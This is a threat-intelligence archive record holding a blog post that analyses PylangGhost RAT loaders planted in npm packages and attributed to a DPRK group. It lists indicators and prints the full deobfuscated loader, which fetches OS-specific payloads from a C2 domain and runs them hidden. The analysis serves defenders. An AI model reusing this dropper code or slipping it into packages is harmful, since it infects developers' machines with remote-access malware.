{
	"id": "2862b4ab-d104-4507-96b8-cc219c50b56f",
	"created_at": "2026-04-06T00:14:17.368267Z",
	"updated_at": "2026-04-10T03:35:14.268974Z",
	"deleted_at": null,
	"sha1_hash": "4591c4f4bfcb1ca9f1d4b8efcc083fe88653581e",
	"title": "First instance of PylangGhost RAT observed on npm",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 395245,
	"plain_text": "First instance of PylangGhost RAT observed on npm\r\nBy kmsec-uk\r\nPublished: 2026-03-13 · Archived: 2026-04-05 23:48:56 UTC\r\nA quick one as I haven’t had the will to do full analysis on this as I’ve been exploring something more interesting\r\n(more to come).\r\nSummary\r\nPylangGhost is a RAT first publicly disclosed by Cisco Talos in June 2025, attributable to FAMOUS\r\nCHOLLIMA\r\nIn late February/early March 2026, two packages published to npm by user jaime9008\r\n(jaimeandujo086[@]gmail.com) distribute PylangGhost RAT\r\nThis marks the first observed instance of the malware strain on npm, and demonstrates further rapid\r\ndevelopment during this period\r\nIOCs: malicanbur[.]pro (domain), 173.211.46[.]22:8080\r\nMy scanner that supports my DPRK tracking on npm detected two packages with an obfuscated PylangGhost\r\nloader:\r\nDate Package Detected\r\nDownload\r\ntarfile\r\nInfection point\r\n2026-03-01\r\n21:19:13.365Z\r\nreact-refresh-update v1.0.4 true download /runtime.js\r\n2026-03-01\r\n21:10:14.297Z\r\nreact-refresh-update v1.0.3 true download /runtime.js\r\n2026-03-01\r\n20:58:10.897Z\r\nreact-refresh-update v1.0.2 true download\r\n/runtime.js,\r\n/babel.js\r\n2026-03-01\r\n20:34:34.844Z\r\nreact-refresh-update v1.0.1 true download /babel.js\r\n2026-03-01\r\n20:31:49.975Z\r\nreact-refresh-update v1.0.0 false - -\r\n2026-02-23\r\n02:06:54.333Z\r\n@jaime9008/math-service\r\nv1.0.2\r\ntrue download /lib/lib.js\r\n2026-02-23\r\n00:33:29.646Z\r\n@jaime9008/math-service\r\nv1.0.1\r\ntrue download /lib/lib.js\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 1 of 8\n\nDate Package Detected\r\nDownload\r\ntarfile\r\nInfection point\r\n2026-02-22\r\n20:00:56.778Z\r\n@jaime9008/math-service\r\nv1.0.0\r\nfalse - -\r\nThe obfuscated loader is a simple decode -\u003e decrypt -\u003e eval, and for each tarfile you will find different hashes due\r\nto the non-deterministic nature of the obfuscator.\r\nYou can view an original sample on my website, hash\r\n323ba89ec7410656629f8a1e7890d3025739adcbb8497f1c737a7465c13eb1fd from package @jaime9008/math-service v1.0.2.\r\nIt contains a hardcoded XOR key, string fdfdfdfdf3rykyjjgfkwi . Here’s a link to decode and decrypt the\r\nmalicious content in CyberChef.\r\nNote\r\nThe XOR key string fdfdfdfdf3rykyjjgfkwi is consistent with mashing the keyboard on an ANSI\r\nlayout-like keyboard :)\r\nThis decrypted content is slightly obfuscated with renamed function names and array-index variable redirection,\r\nwhich you can see by clicking the link to CyberChef above. I asked Gemini to refactor this code, here are the\r\nresults — all comments preserved from Gemini, my hands are washed of any blame for its idiosyncrasies:\r\nconst https = require(\"https\");\r\nconst fs = require(\"fs\");\r\nconst { spawn } = require(\"child_process\");\r\nconst path = require(\"path\");\r\nconst os = require(\"os\");\r\nconst axios = require(\"axios\");\r\n// --- Configuration \u0026 C2 URLs ---\r\nconst macPatchScript = \"macspatch.sh\";\r\nconst campaignId = \"ML2J\";\r\nconst c2Domain = \"https://malicanbur.pro\";\r\n// Generates target URLs based on OS and campaign ID\r\nconst winPayloadUrl = c2Domain + \"/winnmrepair_\" + campaignId.toLowerCase() + \".release\";\r\nconst linPayloadUrl = c2Domain + \"/linnmrepair_\" + campaignId.toLowerCase() + \".release\";\r\nconst macPayloadUrl = c2Domain + \"/macnmrepair_\" + campaignId.toLowerCase() + \".release\";\r\nconst fallbackWinUrl = c2Domain + \"/winnmrepair.release\";\r\n// Temporary paths for downloading and extracting payloads\r\nconst zipFilePath = path.join(os.tmpdir(), \"patches.zip\");\r\nconst extractDirPath = path.join(os.tmpdir(), \"patches\");\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 2 of 8\n\n// --- Core Functions ---\r\n// Downloads a file in chunks, likely to bypass basic network scanning limits\r\nasync function downloadChunked(url, destPath, chunkSize = 10 * 1024 * 1024) {\r\n let totalSize = 0;\r\n try {\r\n const headResponse = await axios.head(url);\r\n totalSize = parseInt(headResponse.headers[\"content-length\"], 10);\r\n let downloadedSize = 0;\r\n \r\n // Resume download if file already partially exists\r\n if (fs.existsSync(destPath)) {\r\n const fileStat = fs.statSync(destPath);\r\n downloadedSize = fileStat.size;\r\n }\r\n \r\n // Open stream in append mode (\"a\")\r\n const fileStream = fs.createWriteStream(destPath, {\r\n flags: \"a\"\r\n });\r\n \r\n // Download remaining chunks\r\n while (downloadedSize \u003c totalSize) {\r\n const endByte = Math.min(downloadedSize + chunkSize - 1, totalSize - 1);\r\n try {\r\n const chunkResponse = await axios({\r\n url: url,\r\n method: \"GET\",\r\n headers: {\r\n Range: \"bytes=\" + downloadedSize + \"-\" + endByte\r\n },\r\n responseType: \"stream\"\r\n });\r\n \r\n await new Promise((resolve, reject) =\u003e {\r\n chunkResponse.data.pipe(fileStream, {\r\n end: false\r\n });\r\n chunkResponse.data.on(\"end\", resolve);\r\n chunkResponse.data.on(\"error\", reject);\r\n });\r\n downloadedSize = endByte + 1;\r\n } catch (error) {}\r\n }\r\n fileStream.close();\r\n extractAndRunPayload(); // Trigger execution after download completes\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 3 of 8\n\n} catch (error) {}\r\n}\r\n// Fallback downloader if the chunked download fails\r\nfunction downloadFallback(retryCount = 5) {\r\n const fileStream = fs.createWriteStream(zipFilePath);\r\n const requestOptions = {\r\n headers: {\r\n \"User-Agent\": \"curl/7.68.0\", // Spoofing curl\r\n Accept: \"*/*\"\r\n }\r\n };\r\n \r\n const request = https.get(fallbackWinUrl, requestOptions, function (response) {\r\n if (response.statusCode !== 200) {\r\n fileStream.close(() =\u003e {\r\n fs.unlinkSync(zipFilePath);\r\n });\r\n if (retryCount \u003e 0) {\r\n downloadFallback(retryCount - 1);\r\n }\r\n return;\r\n }\r\n \r\n const expectedSize = parseInt(response.headers[\"content-length\"], 10);\r\n let actualSize = 0;\r\n \r\n response.on(\"data\", chunk =\u003e {\r\n actualSize += chunk.length;\r\n });\r\n \r\n response.pipe(fileStream);\r\n response.on(\"end\", () =\u003e {\r\n fileStream.close(() =\u003e {\r\n if (actualSize === expectedSize) {\r\n extractAndRunPayload();\r\n } else if (retryCount \u003e 0) {\r\n fs.unlink(zipFilePath, err =\u003e {\r\n if (!err) downloadFallback(retryCount - 1);\r\n });\r\n }\r\n });\r\n });\r\n \r\n response.on(\"finish\", () =\u003e {});\r\n response.on(\"error\", err =\u003e {\r\n fileStream.close(() =\u003e {\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 4 of 8\n\nfs.unlink(zipFilePath, err =\u003e {});\r\n if (retryCount \u003e 0) {\r\n downloadFallback(retryCount - 1);\r\n }\r\n });\r\n });\r\n });\r\n \r\n request.on(\"error\", err =\u003e {\r\n fileStream.close(() =\u003e {\r\n fs.unlink(zipFilePath, err =\u003e {});\r\n if (retryCount \u003e 0) {\r\n downloadFallback(retryCount - 1);\r\n }\r\n });\r\n });\r\n \r\n request.setTimeout(30000, () =\u003e {\r\n request.abort();\r\n fileStream.close(() =\u003e {\r\n fs.unlink(zipFilePath, err =\u003e {});\r\n if (retryCount \u003e 0) {\r\n downloadFallback(retryCount - 1);\r\n }\r\n });\r\n });\r\n \r\n fileStream.on(\"finish\", () =\u003e {});\r\n fileStream.on(\"error\", err =\u003e {\r\n fs.unlink(zipFilePath, err =\u003e {});\r\n if (retryCount \u003e 0) {\r\n downloadFallback(retryCount - 1);\r\n }\r\n });\r\n}\r\n// Extracts the downloaded ZIP archive using the system's tar utility\r\nfunction extractAndRunPayload() {\r\n if (!fs.existsSync(extractDirPath)) {\r\n fs.mkdirSync(extractDirPath);\r\n }\r\n \r\n const tarProcess = spawn(\"tar\", [\"-xf\", zipFilePath, \"-C\", extractDirPath]);\r\n tarProcess.on(\"close\", exitCode =\u003e {\r\n if (exitCode === 0) {\r\n executeWindowsPayload();\r\n }\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 5 of 8\n\n});\r\n}\r\n// Executes the VBScript payload silently in the background\r\nfunction executeWindowsPayload() {\r\n const vbsPath = path.join(extractDirPath, \"start.vbs\");\r\n if (fs.existsSync(vbsPath)) {\r\n const wscriptProcess = spawn(\"wscript\", [vbsPath], {\r\n detached: true,\r\n stdio: \"ignore\",\r\n windowsHide: true // Run invisibly\r\n });\r\n wscriptProcess.unref(); // Detach from parent process so Node can exit\r\n }\r\n}\r\n// Main entry point determining execution flow based on operating system\r\nfunction main() {\r\n let targetUrl = \"\";\r\n const platform = os.platform();\r\n let scriptDestPath = \"\";\r\n \r\n if (platform === \"win32\") {\r\n const tmpDir = os.tmpdir();\r\n scriptDestPath = path.join(tmpDir, macPatchScript); // Odd naming choice for Windows by the author\r\n targetUrl = winPayloadUrl;\r\n } else if (platform === \"darwin\") { // macOS\r\n scriptDestPath = \"/var/tmp/\" + macPatchScript;\r\n targetUrl = macPayloadUrl;\r\n } else if (platform === \"linux\") {\r\n scriptDestPath = \"/var/tmp/\" + macPatchScript;\r\n targetUrl = linPayloadUrl;\r\n } else {\r\n return; // Exit if OS is unsupported\r\n }\r\n \r\n // Mac/Linux Execution Branch\r\n if (platform != \"win32\") {\r\n https.get(targetUrl, {\r\n rejectUnauthorized: false // Ignore invalid SSL certificates\r\n }, response =\u003e {\r\n const fileStream = fs.createWriteStream(scriptDestPath);\r\n response.pipe(fileStream);\r\n fileStream.on(\"finish\", () =\u003e {\r\n fileStream.close(() =\u003e {\r\n fs.chmodSync(scriptDestPath, 0o755); // Make the script executable\r\n const shProcess = spawn(\"sh\", [scriptDestPath], {\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 6 of 8\n\nstdio: \"inherit\"\r\n });\r\n shProcess.on(\"close\", code =\u003e {\r\n process.exit(code);\r\n });\r\n shProcess.on(\"error\", err =\u003e {\r\n process.exit(1);\r\n });\r\n });\r\n });\r\n }).on(\"error\", console.error);\r\n } else {\r\n // Windows Execution Branch\r\n downloadChunked(winPayloadUrl, zipFilePath);\r\n }\r\n}\r\n// Execute the malware\r\nmain();\r\nAfter confirming this was DPRK/PylangGhost, I didn’t do much further analysis. I’m not a big fan of\r\nPylangGhost as it’s heavy (29 MB) and feels clunky.\r\nIn the interest of preserving evidence, I’ve uploaded the Windows variant zip file retrieved from\r\nhxxps://malicanbur[.]pro/winnmrepair_ml2j.release to VirusTotal:\r\n0be2375362227f846c56c4de2db4d3113e197f0c605c297a7e0e0c154e94464e\r\nThe C2 IP is conveniently located in [zip-root]/config.py , and is hxxp://173.211.46[.]22:8080, as\r\ndemonstrated in the screenshot below.\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 7 of 8\n\nPylangGhost C2 URL from the Windows variant hardcoded and conveniently commented\r\nYou can also see Chrome extension IDs listed for it to enumerate and capture data from.\r\nThat’s all for today. Further analysis is left in your capable hands, dear reader.\r\nSource: https://kmsec.uk/blog/pylangghost-npm/\r\nhttps://kmsec.uk/blog/pylangghost-npm/\r\nPage 8 of 8",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://kmsec.uk/blog/pylangghost-npm/"
	],
	"report_names": [
		"pylangghost-npm"
	],
	"threat_actors": [
		{
			"id": "7187a642-699d-44b2-9c69-498c80bce81f",
			"created_at": "2025-08-07T02:03:25.105688Z",
			"updated_at": "2026-04-10T02:00:03.78394Z",
			"deleted_at": null,
			"main_name": "NICKEL TAPESTRY",
			"aliases": [
				"CL-STA-0237 ",
				"CL-STA-0241 ",
				"DPRK IT Workers",
				"Famous Chollima ",
				"Jasper Sleet Microsoft",
				"Purpledelta Recorded Future",
				"Storm-0287 ",
				"UNC5267 ",
				"Wagemole "
			],
			"source_name": "Secureworks:NICKEL TAPESTRY",
			"tools": [],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "d05e8567-9517-4bd8-a952-5e8d66f68923",
			"created_at": "2024-11-13T13:15:31.114471Z",
			"updated_at": "2026-04-10T02:00:03.761535Z",
			"deleted_at": null,
			"main_name": "WageMole",
			"aliases": [
				"Void Dokkaebi",
				"WaterPlum",
				"PurpleBravo",
				"Famous Chollima",
				"UNC5267",
				"Wagemole",
				"Nickel Tapestry",
				"Storm-1877"
			],
			"source_name": "MISPGALAXY:WageMole",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434457,
	"ts_updated_at": 1775792114,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/4591c4f4bfcb1ca9f1d4b8efcc083fe88653581e.pdf",
		"text": "https://archive.orkl.eu/4591c4f4bfcb1ca9f1d4b8efcc083fe88653581e.txt",
		"img": "https://archive.orkl.eu/4591c4f4bfcb1ca9f1d4b8efcc083fe88653581e.jpg"
	}
}